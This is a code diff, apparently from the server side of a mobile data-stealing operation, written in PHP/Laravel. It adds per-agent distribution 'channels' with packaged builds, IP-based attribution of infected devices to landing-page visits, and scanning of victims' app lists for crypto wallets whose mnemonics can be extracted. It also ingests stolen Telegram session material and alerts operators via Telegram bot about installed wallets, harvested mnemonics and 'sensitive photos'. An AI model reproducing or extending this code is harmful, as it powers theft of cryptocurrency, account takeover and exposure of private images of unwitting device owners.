throw new RuntimeException('无法生成唯一渠道 ID');
}
public function sourceZipRelativePath(): string
{
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
return $dir.'/'.$this->channel_id.'.zip';
}
public static function isReservedChannelName(string $name): bool
{
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
}
public static function randomChannelName(): string
{
for ($i = 0; $i < 32; $i++) {
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
if (self::isReservedChannelName($name)) {
continue;
}
if (self::query()->where('channel_name', $name)->exists()) {
continue;
}
$public = public_path('source/'.$name);
if (is_dir($public) || is_file($public)) {
continue;
}
return $name;
}
throw new RuntimeException('无法生成唯一 channel_name');
}
public static function maxPerAgent(): int
{
$n = (int) config('coruna.channels.max_per_agent', 5);
+32 -2
View File
@@ -7,9 +7,19 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
public const WALLET_UNKNOWN = 0;
public const WALLET_NONE = 1;
public const WALLET_YES = 2;
protected $fillable = [
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage',
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
];
protected function casts(): array
@@ -17,9 +27,29 @@ class Device extends Model
return [
'telegram_notified' => 'boolean',
'album_storage' => 'boolean',
'has_wallet' => 'integer',
'wallet_names' => 'array',
];
}
public function hasWalletApps(): bool
{
return (int) $this->has_wallet === self::WALLET_YES;
}
/**
* @return list<string>
*/
public function walletNameList(): array
{
$names = $this->wallet_names;
if (! is_array($names)) {
return [];
}
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
}
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? true);
+31 -1
View File
@@ -11,13 +11,14 @@ class PageVisit extends Model
protected $fillable = [
'channel_id',
'client_uid',
'session_id',
'user_agent',
'os',
'os_version',
'browser',
'browser_version',
'ip',
'path',
'domain',
'referer',
'created_at',
];
@@ -28,4 +29,33 @@ class PageVisit extends Model
'created_at' => 'datetime',
];
}
public static function normalizeDomain(?string $value): ?string
{
$value = trim((string) $value);
if ($value === '') {
return null;
}
$value = preg_replace('#^https?://#i', '', $value) ?? $value;
$value = explode('/', $value, 2)[0];
$value = strtolower(rtrim($value));
if ($value === '' || ! str_contains($value, '.')) {
return null;
}
return substr($value, 0, 255);
}
public const VISITOR_UID_LENGTH = 16;
/**
* Stable visitor id: same domain+ip always yields the same 16-hex value.
*/
public static function visitorUid(?string $domain, ?string $ip): string
{
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
$ipKey = trim((string) $ip);
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
}
}
+2
View File
@@ -7,6 +7,8 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Photo extends Model
{
public const X_HIT_ALERT = 12;
protected $fillable = [
'device_id',
'sha256',
+144 -78
View File
@@ -25,7 +25,6 @@ class ChannelProjectService
* @return array{
* channel_id: string,
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
@@ -42,26 +41,20 @@ class ChannelProjectService
?string $deploymentSeed = null,
?string $reportingSeed = null,
string $builderType = self::BUILDER_OLD,
?string $channelName = null,
): array {
$builderType = $this->normalizeBuilderType($builderType);
$channelId = $this->normalizeChannelId($channelId);
if ($builderType === self::BUILDER_NEW) {
return $this->generateNew($channelId);
}
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
$deploymentSeed,
$reportingSeed,
);
if ($builderType === self::BUILDER_NEW) {
return $this->generateNew(
$channelId,
$channelName,
$deploymentSeed,
$reportingSeed,
);
}
return $this->generateOld(
$channelId,
$this->normalizeChannelId($channelId),
$supportTemplate,
$deploymentSeed,
$reportingSeed,
@@ -71,12 +64,19 @@ class ChannelProjectService
public function deleteWebTree(
string $channelId,
string $builderType = self::BUILDER_OLD,
?string $channelName = null,
): void {
$builderType = $this->normalizeBuilderType($builderType);
if ($builderType === self::BUILDER_NEW) {
// Shared /weifile + /details must not be wiped when a DB channel row is removed.
$code = Channel::normalizeNewChannelId($channelId);
if ($code === null) {
return;
}
$zip = $this->newChannelZipPath($code);
if (is_file($zip) && ! unlink($zip)) {
throw new RuntimeException('删除渠道安装包失败: '.$zip);
}
return;
}
@@ -102,7 +102,6 @@ class ChannelProjectService
* @return array{
* channel_id: string,
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
@@ -146,7 +145,6 @@ class ChannelProjectService
return [
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
'builder_type' => self::BUILDER_OLD,
'channel_name' => null,
'seeds' => [
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
@@ -165,34 +163,17 @@ class ChannelProjectService
}
/**
* @return array{
* channel_id: string,
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
* sync_rebuilt: bool,
* support_path: string,
* weifile_path: ?string,
* daily_path: string,
* support_template?: string,
* }
* Rebuild shared /details and staged weifile from `c`.
* Only used by `php artisan xxbb:build`, not when creating a channel.
*
* @return array<string, mixed>
*/
private function generateNew(
string $channelId,
?string $channelName,
?string $deploymentSeed,
?string $reportingSeed,
): array {
unset($channelName); // shared /weifile layout; no per-channel folder
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
}
$scheme = strtolower((string) config('coruna.channel_builder_new.c2_scheme', 'http'));
if (! in_array($scheme, ['http', 'https'], true)) {
throw new RuntimeException('CORUNA_XXBB_C2_SCHEME 必须是 http 或 https');
public function buildSharedArtifacts(?string $channelC = null, bool $randomC = false): array
{
if ($randomC && $channelC !== null && $channelC !== '') {
throw new RuntimeException('不能同时指定 channel-c 和 random-c');
}
$cmd = [
$this->pythonBinary(self::BUILDER_NEW),
$this->builderScript('build.py', self::BUILDER_NEW),
@@ -200,44 +181,142 @@ class ChannelProjectService
$this->artifactRoot(),
'--state-root',
$this->stateRoot(self::BUILDER_NEW),
'--channel-c',
$channelId,
'--scheme',
$scheme,
'--apply',
'--force',
];
if ($deploymentSeed !== null && $reportingSeed !== null) {
$cmd[] = '--deployment-seed';
$cmd[] = $deploymentSeed;
$cmd[] = '--reporting-seed';
$cmd[] = $reportingSeed;
if ($randomC) {
$cmd[] = '--random-c';
} else {
$c = $this->normalizeSharedChannelC($channelC);
if ($c !== null) {
$cmd[] = '--channel-c';
$cmd[] = $c;
}
}
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
$weifilePath = (string) ($result['weifile_path'] ?? '/weifile/weifile.html');
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
}
private function generateNew(string $channelId): array
{
$channelId = Channel::normalizeNewChannelId($channelId);
if ($channelId === null) {
throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)');
}
$weifileSrc = $this->stagedWeifileDir();
if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) {
throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build');
}
$zipPath = $this->newChannelZipPath($channelId);
$this->ensureDirectory(dirname($zipPath), '新版渠道产物目录');
$cmd = [
$this->pythonBinary(self::BUILDER_NEW),
$this->builderScript('pack_channel.py', self::BUILDER_NEW),
'--channel-code',
$channelId,
'--state-root',
$this->stateRoot(self::BUILDER_NEW),
'--weifile-src',
$weifileSrc,
'--zip-out',
$zipPath,
];
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
$seeds = $this->loadNewLabSeeds();
$relativeZip = $this->newChannelZipRelative($channelId);
return [
'channel_id' => $channelId,
'builder_type' => self::BUILDER_NEW,
'channel_name' => null,
'seeds' => [
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
'channel_c' => (string) data_get($result, 'seeds.channel_c', $channelId),
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', $seeds['deployment_seed']),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', $seeds['reporting_seed']),
'channel_c' => (string) data_get($result, 'seeds.channel_c', $seeds['channel_c']),
],
'domains' => [
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
'deployment' => array_values((array) data_get($result, 'domains.deployment', $seeds['domains']['deployment'])),
'reporting' => array_values((array) data_get($result, 'domains.reporting', $seeds['domains']['reporting'])),
],
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
'support_path' => (string) ($result['support_path'] ?? $weifilePath),
'weifile_path' => $weifilePath,
'daily_path' => (string) ($result['details_path'] ?? '/details/'),
'seeds_initialized' => false,
'sync_rebuilt' => false,
'support_path' => '',
'weifile_path' => null,
'daily_path' => '/details/',
'zip_path' => '/'.$relativeZip,
];
}
public function stagedWeifileDir(): string
{
return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile';
}
public function newChannelZipPath(string $channelId): string
{
return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId));
}
public function newChannelZipRelative(string $channelId): string
{
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
$code = Channel::normalizeNewChannelId($channelId) ?? $channelId;
return $dir.'/'.$code.'.zip';
}
/**
* @return array{deployment_seed: string, reporting_seed: string, channel_c: string, domains: array{deployment: list<string>, reporting: list<string>}}
*/
private function loadNewLabSeeds(): array
{
$empty = [
'deployment_seed' => '',
'reporting_seed' => '',
'channel_c' => '',
'domains' => ['deployment' => [], 'reporting' => []],
];
$path = $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'lab_seeds.json';
if (! is_file($path)) {
return $empty;
}
$decoded = json_decode((string) file_get_contents($path), true);
if (! is_array($decoded)) {
return $empty;
}
return [
'deployment_seed' => (string) ($decoded['deployment_seed'] ?? ''),
'reporting_seed' => (string) ($decoded['reporting_seed'] ?? ''),
'channel_c' => (string) ($decoded['channel_c'] ?? ''),
'domains' => [
'deployment' => array_values((array) data_get($decoded, 'domains.deployment', [])),
'reporting' => array_values((array) data_get($decoded, 'domains.reporting', [])),
],
];
}
private function normalizeSharedChannelC(?string $channelC): ?string
{
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
? $channelC
: config('coruna.xxbb.channel_c', ''))));
if ($c === '') {
return null;
}
if (! preg_match('/^[0-9a-f]{32}$/', $c)) {
throw new RuntimeException('XXBB_CHANNEL_C 必须是 32 位 hex');
}
if ($c === '202800cfb1ad3de68e11239dcc26c30b') {
throw new RuntimeException('XXBB_CHANNEL_C 不能与 7z 密码槽相同');
}
return $c;
}
/**
* @param list<string> $cmd
* @return array<string, mixed>
@@ -386,19 +465,6 @@ class ChannelProjectService
return $channelId;
}
private function normalizeChannelName(string $channelName): string
{
$channelName = strtolower(trim($channelName));
if (! preg_match('/^[a-z0-9]{8,32}$/', $channelName)) {
throw new RuntimeException('Invalid channel name');
}
if (Channel::isReservedChannelName($channelName)) {
throw new RuntimeException('channel_name 与保留路径冲突');
}
return $channelName;
}
private function normalizeSupportTemplate(string $supportTemplate): string
{
$supportTemplate = strtolower(trim($supportTemplate));
+187 -16
View File
@@ -2,10 +2,12 @@
namespace App\Services;
use App\Models\Channel;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
@@ -138,22 +140,18 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
$touch = ['updated_at' => now()];
$channelId = $this->extractChannelId($request, $payload);
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
$touch['channel_id'] = $channelId;
}
$existing->forceFill($touch)->saveQuietly();
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: true);
return $existing->refresh();
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
return $this->createDevice($request, $payload, $deviceKey, allowOldC: true);
}
/**
* Other C2 routes — create device if missing so business rows can attach,
* but never write channel_id (put will fill it later). Existing rows are left untouched.
* Other C2 routes — create device if missing so business rows can attach.
* Old builder: never write channel_id here (put will fill it later).
* New builder: IP-match iptj on create and when channel_id is still empty.
*/
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
@@ -164,10 +162,16 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
if ($this->isNewBuilderRequest($request)) {
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
return $existing->refresh();
}
return $existing;
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
return $this->createDevice($request, $payload, $deviceKey, allowOldC: false);
}
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
@@ -208,15 +212,118 @@ class IngestService
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
private function fillMissingAttribution(
Device $device,
Request $request,
?array $payload,
bool $allowOldC,
): void {
$needChannel = $this->channelIdEmpty($device->channel_id);
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
if (! $needChannel && ! $needDomain) {
$device->forceFill(['updated_at' => now()])->saveQuietly();
return;
}
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$touch = ['updated_at' => now()];
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
$touch['channel_id'] = $attr['channel_id'];
}
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
$touch['source_domain'] = $attr['source_domain'];
}
$device->forceFill($touch)->saveQuietly();
}
/**
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
* attribute via recent PageVisit IP. Device is still created if no visit matches.
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
{
if ($this->isNewBuilderRequest($request)) {
return $this->matchNewBuilderVisit($request->ip());
}
if ($allowOldC) {
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function isNewBuilderRequest(Request $request): bool
{
return (bool) $request->attributes->get('coruna_new_builder', false);
}
/**
* Latest iptj/pixel visit from this IP in the last N minutes whose
* channel_id is a new-builder channel, and no device from this IP has
* already claimed that channel.
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function matchNewBuilderVisit(?string $ip): array
{
$ip = is_string($ip) ? trim($ip) : '';
if ($ip === '') {
return ['channel_id' => null, 'source_domain' => null];
}
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
$visits = PageVisit::query()
->where('ip', $ip)
->where('created_at', '>=', now()->subMinutes($minutes))
->orderByDesc('id')
->get();
foreach ($visits as $visit) {
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
if ($code === null) {
continue;
}
$channel = Channel::query()
->where('channel_id', $code)
->where('builder_type', Channel::BUILDER_NEW)
->first();
if ($channel === null) {
continue;
}
$claimed = Device::query()
->where('ip', $ip)
->where('channel_id', $code)
->exists();
if ($claimed) {
continue;
}
$domain = $this->sourceDomainFromVisit($visit);
return ['channel_id' => $code, 'source_domain' => $domain];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function sourceDomainFromVisit(PageVisit $visit): ?string
{
return PageVisit::normalizeDomain($visit->domain);
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [
'device_id' => $deviceKey,
'ip' => $request->ip(),
'device_model' => $this->extractDeviceModel($payload),
'ios_version' => $this->extractIosVersion($payload),
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'],
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
@@ -239,7 +346,6 @@ class IngestService
return;
}
$walletBundles = config('coruna.wallet_bundles', []);
foreach ($payload['al'] as $item) {
if (! is_array($item)) {
continue;
@@ -250,18 +356,45 @@ class IngestService
if ($bundle === '') {
continue;
}
$isWallet = in_array($bundle, $walletBundles, true)
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundle],
[
'name' => $name,
'version' => $version,
'is_wallet' => $isWallet,
'is_wallet' => WalletSource::isPluginWalletBundle($bundle),
'meta_json' => $item,
]
);
}
$this->refreshDeviceWalletFlag($device);
}
/**
* has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present.
*/
private function refreshDeviceWalletFlag(Device $device): void
{
$names = [];
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
$bundle = (string) $app->bundle_id;
if (! WalletSource::isPluginWalletBundle($bundle)) {
continue;
}
$label = WalletSource::labelForBundle($bundle, $app->name);
$names[$label] = true;
}
$labels = array_keys($names);
sort($labels);
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
$device->save();
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
$this->telegram->notifyInstalledWallets($device->device_id, $labels);
}
}
/**
@@ -353,6 +486,37 @@ class IngestService
]);
}
/**
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
* Lab has no dedicated table; store as a keystore identity blob.
*/
public function ingestTelegramAuth(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
if (array_key_exists('result', $payload)) {
$this->ingestKeystore($device, $payload);
return;
}
$blob = [];
foreach ([
'user_id', 'state', 'db_sqlite',
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
] as $key) {
if (array_key_exists($key, $payload)) {
$blob[$key] = $payload[$key];
}
}
if ($blob === []) {
return;
}
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
$this->ingestKeystore($device, ['result' => $blob]);
}
/**
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
*/
@@ -507,6 +671,7 @@ class IngestService
return;
}
$stored = 0;
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
@@ -530,6 +695,12 @@ class IngestService
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
$stored++;
}
$xHit = $meta['x_hit'] ?? null;
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
}
}
+27
View File
@@ -128,6 +128,23 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId);
}
/**
* @param list<string> $wallets
*/
public function notifyInstalledWallets(string $deviceId, array $wallets): void
{
$wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== ''));
if ($wallets === []) {
return;
}
$this->send(implode("\n", [
'👜 <b>Installed Wallets</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
]), $deviceId);
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{
$this->send(implode("\n", [
@@ -138,6 +155,16 @@ class TelegramNotifier
]), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>Sensitive Photo</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
public function notifyBalanceChange(
string $deviceId,
string $address,
+81
View File
@@ -28,11 +28,62 @@ final class WalletSource
'h' => 'Uniswap',
'h1' => 'Uniswap',
't' => 'OKX',
'c' => 'TronLink',
'f' => 'BitKeep',
's' => 'Solflare',
'tg' => 'Telegram',
// lab / fixture aliases
'tp' => 'TokenPocket',
'im' => 'imToken',
];
/**
* Display names for plugin wallet bundle IDs (mnemonic-capable).
*
* @var array<string, string>
*/
private const BUNDLE_LABELS = [
'im.token.app' => 'imToken',
'io.metamask' => 'MetaMask',
'io.metamask.MetaMask' => 'MetaMask',
'com.wallet.crypto.trustapp' => 'Trust Wallet',
'com.sixdays.trust' => 'Trust Wallet',
'com.okex.wallet' => 'OKX',
'com.okex.OKExAppstoreFull' => 'OKX',
'com.coinbase.wallet' => 'Coinbase Wallet',
'org.toshi.distribution' => 'Coinbase Wallet',
'com.exodus' => 'Exodus',
'exodus-movement.exodus' => 'Exodus',
'app.phantom' => 'Phantom',
'com.uniswap.mobile' => 'Uniswap',
'com.tronlinkpro.wallet' => 'TronLink',
'com.tronlink.hdwallet' => 'TronLink',
'com.mytonwallet.app' => 'MyTonWallet',
'org.mytonwallet.app' => 'MyTonWallet',
'com.tonhub.app' => 'Tonhub',
'com.tonkeeper.app' => 'Tonkeeper',
'com.jbig.tonkeeper' => 'Tonkeeper',
'vip.mytokenpocket' => 'TokenPocket',
'com.bitkeep.wallet' => 'BitKeep',
'com.bitkeep.os' => 'BitKeep',
'com.bitpie' => 'Bitpie',
'com.bitpie.wallet' => 'Bitpie',
'com.coin98' => 'Coin98',
'coin98.crypto.finance.insights' => 'Coin98',
'com.solflare.mobile' => 'Solflare',
'com.roninchain.wallet' => 'Ronin',
'com.skymavis.Genesis' => 'Ronin',
'com.krystal.wallet' => 'Krystal',
'com.kyrd.krystal.ios' => 'Krystal',
'com.global.wallet.ios' => 'Global Wallet',
];
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
private const NON_MNEMONIC_BUNDLES = [
'ph.telegra.Telegraph',
'net.whatsapp.WhatsApp',
];
public static function fromTag(mixed $tag): string
{
if (! is_string($tag) || $tag === '') {
@@ -43,6 +94,36 @@ final class WalletSource
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* True when this bundle is a business plugin that can extract a mnemonic.
*/
public static function isPluginWalletBundle(string $bundle): bool
{
$bundle = trim($bundle);
if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) {
return false;
}
if (isset(self::BUNDLE_LABELS[$bundle])) {
return true;
}
$configured = config('coruna.wallet_bundles', []);
return is_array($configured) && in_array($bundle, $configured, true)
&& ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true);
}
public static function labelForBundle(string $bundle, ?string $fallback = null): string
{
$bundle = trim($bundle);
if (isset(self::BUNDLE_LABELS[$bundle])) {
return self::BUNDLE_LABELS[$bundle];
}
$fallback = trim((string) $fallback);
return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown');
}
/**
* Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
*
+10
View File
@@ -42,6 +42,16 @@ class ChannelCommand
$lines[] = ($i + 1).'. '.$channel->channel_id;
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
if ($channel->isNewBuilder()) {
$btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : $channel->channel_id).' · 渠道码';
$markup->addRow(InlineKeyboardButton::make(
text: $btnText,
copy_text: CopyTextButton::make($channel->channel_id),
));
continue;
}
$links = $channel->supportLinks();
$link = $links[0] ?? $channel->landingPath();
if (strlen($link) > 256) {